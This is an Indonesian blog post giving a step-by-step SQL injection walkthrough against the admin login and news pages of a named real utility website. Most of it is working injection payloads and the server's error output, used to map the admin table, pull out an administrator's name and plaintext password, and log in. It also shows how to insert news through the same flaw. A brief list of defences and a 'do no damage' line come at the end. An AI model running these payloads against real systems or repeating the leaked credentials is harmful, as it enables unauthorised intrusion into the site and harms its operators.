Senin, 06 Februari 2012

Lagi… SQL Injection


SQL Injection
Akhir-akhir ini, anda sering mendengar istilah “SQL Injection” ? Anda tahu betapa berbahaya bug yang satu ini ?Berikut akan kita sajikan step by step SQL Injection ini.
Catatan : kita akan membatasi bahasan pada SQL Injection di MS-SQL Server.
Kita akan mengambil contoh di site www.pln-wilkaltim.co.id Ada dua kelemahan di site ini, yaitu:
1. Tabel News2. Tabel Admin
Langkah pertama, kita tentukan lubang mana yang bisa di-inject dengan jalan berjalan-jalan (enumeration) dulu di site tsb. Kita akan menemukan 2 model cara input parameter, yaitu dengan cara memasukkan lewat input box dan memasukkannya lewat alamat URL.
Kita ambil yang termudah dulu, dengan cara input box. Kemudian kita cari kotak login yang untuk admin. Ketemu di www.pln-wilkaltim.co.id/sipm/admin/admin.asp Langkah pertama untuk menentukan nama tabel dan fieldnya, kita inject kotak NIP dengan perintah (password terserah, cabang biarkan aja):
‘having 1=1—
jangan lupa untuk menuliskan tanda kutip tunggal dan tanda minus dobel (penting). Arti kedua tanda tsb bisa anda cari di tutorial SQL Injectiondi www.neoteker.or.id ini (lihat arsip sebelumnya). Kemudian akan keluar pesan error:
——————–Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘T_ADMIN.NOMOR’ is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause./sipm/admin/dologin.asp, line 7——————–
Keluarlah nama field pertama kita !!!
Catat nama tabel : T_ADMIN
Catat nama field : NOMOR
Kemudian kita akan mencari nama field-field berikutnya, beserta nama tabel yang mungkin berbeda-beda. Kita inject di kotak NIP (password terserah):
‘group by T_ADMIN.NOMOR having 1=1—
Akan keluar pesan error:
——————–Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘T_ADMIN.NIP’ is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause./sipm/admin/dologin.asp, line 7——————–
Artinya itulah nama tabel dan field kedua kita.
Catat : T_ADMIN.NIP
Kemudian kita cari field ke tiga :
‘group by T_ADMIN.NOMOR,T_ADMIN.NIP having 1=1—
Akan keluar pesan error:
——————–Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘T_ADMIN.PASSWORD’ is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause./sipm/admin/dologin.asp, line 7——————–
Catat field ke tiga : T_ADMIN.PASSWORD
Lakukan langkah di atas sampai kita menemukan field terakhir.
Berikut adalah pesan error yang terjadi, jika kita mengecek field terakhir dengan meng-inject:
‘group by T_ADMIN.NOMOR, T_ADMIN.NIP, T_ADMIN.PASSWORD, T_ADMIN.NAMA, T_ADMIN.KD_RANTING, T_ADMIN.ADDRESS, T_ADMIN.EMAIL having 1=1—
(catatan : kalimat harus 1 baris, tidak dipotong)
——————— NIP atau Password atau Unit Anda salah !! ———————
Sukses !!! Kita berhasil menemukan field terakhir. Daftar kolom (field): T_ADMIN.NOMOR
T_ADMIN.NIP
T_ADMIN.PASSWORD
T_ADMIN.NAMA
T_ADMIN.KD_RANTING
T_ADMIN.ADDRESS
T_ADMIN.EMAIL
Hanya ada satu tabel untuk otentifikasi ini (yaitu T_ADMIN), ini akan mempermudah proses kita selanjutnya.
Langkah berikutnya, kita menentukan jenis struktur field-field tersebut di atas.
Kita inject di kotak NIP (pass terserah) :
‘union select sum(NOMOR) from T_ADMIN—
Arti dari query tersebut adalah :
kita coba menerapkan klausa sum sebelum menentukan apakah jumlah kolom-kolom di dua rowsets adalah sejenis. Bahasa mudahnya adalah kita memasukkan klausa sum (jumlah) yang berlaku untuk type kolom numerik, jadi untuk type kolom yang bukan numerik, akan keluar error yang bisa memberitahu kita jenis kolom yang dimaksud. Pesan error :
——————–Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists./sipm/admin/dologin.asp, line 7——————–
artinya kolom NOMOR berjenis numerik. Berikutnya kita inject :
‘union select sum(NIP) from T_ADMIN—
Akan keluar pesan error :
——————–Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a char data type as an argument./sipm/admin/dologin.asp, line 7——————–
Artinya kolom NIP bertype char.
Kita harus mengulang perintah di atas untuk kolom yangberikutnya dengan jalan mengganti nama_kolom di :’ union select sum(nama_kolom) from T_ADMIN—
dengan kolom yang berikutnya.Kita peroleh 7 type kolom:
T_ADMIN.NOMOR => numeric
T_ADMIN.NIP => char
T_ADMIN.PASSWORD => nvarchar
T_ADMIN.NAMA => char
T_ADMIN.KD_RANTING => char
T_ADMIN.ADDRESS => nvarchar
T_ADMIN.EMAIL => char
Langkah berikutnya, kita akan mencari isi kolom password, untuk user admin, dengan meng-inject :
‘union select min(NAMA),1,1,1,1,1,1 from T_ADMIN where NAMA > ‘a’–artinya kita memilih minimum nama user yang lebih besar dari ‘a’dan mencoba meng-konvert-nya ke tipe integer. Arti angka 1 sebanyak 6 kali itu adalah bahwa kita hanya memilih kolom NAMA, dan mengabaikan 6 kolom yang lain.Akan keluar pesan error :
——————–Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ‘bill ‘ to a column of data type int./sipm/admin/dologin.asp, line 7——————–
Anda lihat :varchar value ‘bill ”bill’ itu adalah nama user di record yang terakhir dimasukkan,atau isi kolom NAMA di record yang terakhir dimasukkan.
Selanjutnya kita inject :
‘union select min(PASSWORD),1,1,1,1,1,1 from T_ADMIN where NAMA = ‘bill’—
catatan : harus sebaris (tidak dipotong). Akan keluar error :
———————Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘m@mpusk@u’ to a column of data type int./sipm/admin/dologin.asp, line 7———————
Artinya kita berhasil !!! Kita dapatkan [+] NAMA = bill[+] PASSWORD = m@mpusk@u
Silahkan login ke :www.pln-wilkaltim.co.id/sipm/admin/admin.asp
dengan account di atas, sedang nama cabang, silahkan andaisi sendiri dengan cara coba-coba Atau kita pakai jalan pintas saja….
Kita inject-kan :
‘union select min(KD_RANTING),1,1,1,1,1,1 from T_ADMIN where NAMA =’bill’—
catatan : harus satu baris. Duarrrrrr………. Glhodhak………….
Langsung masuk ke menu admin.Ingat :
jangan buat kerusakan ! beritahu sang admin !!!
Lubang ke dua adalah pada bagian berita.
Pada dasarnya berita di situ adalah isi dari tabel yang lain lagi.
Jadi tetep bisa kita inject !!! Bnedanya, kita harus memasukkan parameter di alamat URL-nya.
Contoh :
ada parameter id dan idSM. Setelah kita coba inject, ternyata yang berpengaruh adalah parameter id aja (CMIIW).
Kita inject-kan :
www.pln-wilkaltim.co.id/dari_Media.asp?id=2119′ having 1=1—
akan keluar pesan error :
—————————Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘tb_news. NewsId’ is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause./dari_Media.asp, line 58—————————
artinya ‘tb_news.NewsId’ itulah nama tabel dan kolom kitayang pertama.
Ulangi langkah-langkah kita di atas sampai didapatkan :
tb_news.NewsId => numeric
tb_news.NewsCatId => numeric
tb_news.EntryDate => datetime
tb_news.Title => nvarchar
tb_news.Content =>
tb_news.FotoLink =>
tb_news.FotoType => bit data
tb_news.review =>
tb_news.sumber => char
tb_news.dateagenda => datetime
Nah, selanjutnya adalah tugas anda sendiri untuk mengembangkan pengetahuan anda. Anda bisa men-insert berita yang bisa anda tentukan sendiri isinya. Inilah mengapa hole di MS-SQL Server ini demikian berbahaya.
Perkiraan saya, nama-nama partai di situs KPU yang di-hackoleh Shizoprenic, juga ada di tabel-tabel suatu database, jadi tetep bisa dimasuki dengan cara SQL Injection ini.
**KHUSUS BUAT ADMIN & WEB PROGRAMMER !!!**
Cara pencegahan yang umum digunakan :
1. Batasi panjang input box (jika memungkinkan), dengancara membatasinya di kode program, jadi si cracker pemula akan bingung sejenak melihat input box nya gak bisa diinject dengan perintah yang panjang.
2. Filter input yang dimasukkan oleh user, terutama penggunaantanda kutip tunggal (Input Validation).
3. Matikan atau sembunyikan pesan-pesan error yang keluardari SQL Server yang berjalan.
4. Matikan fasilitas-fasilitas standar seperti Stored Procedures,Extended Stored Procedures jika memungkinkan.
5. Ubah “Startup and run SQL Server” menggunakan low privilege user di SQL Server Security tab.
Yah itulah mungkin yang dapat saya ceritakan…..
Hal itu adalah gambaran, betapa tidak amannya dunia internet…
Kalau mau lebih aman, copot kabel jaringan anda, copot diskdrive anda, copot harddisk anda, jual kompie anda !!! Just kidding )
Referensi :
[+] sqlinjection, www.BlackAngels.it
[+] anvanced sql injection in sql server applications (www.ngssoftware.com)
[+] sql injection walktrough (www.securiteam.com) 

0 komentar: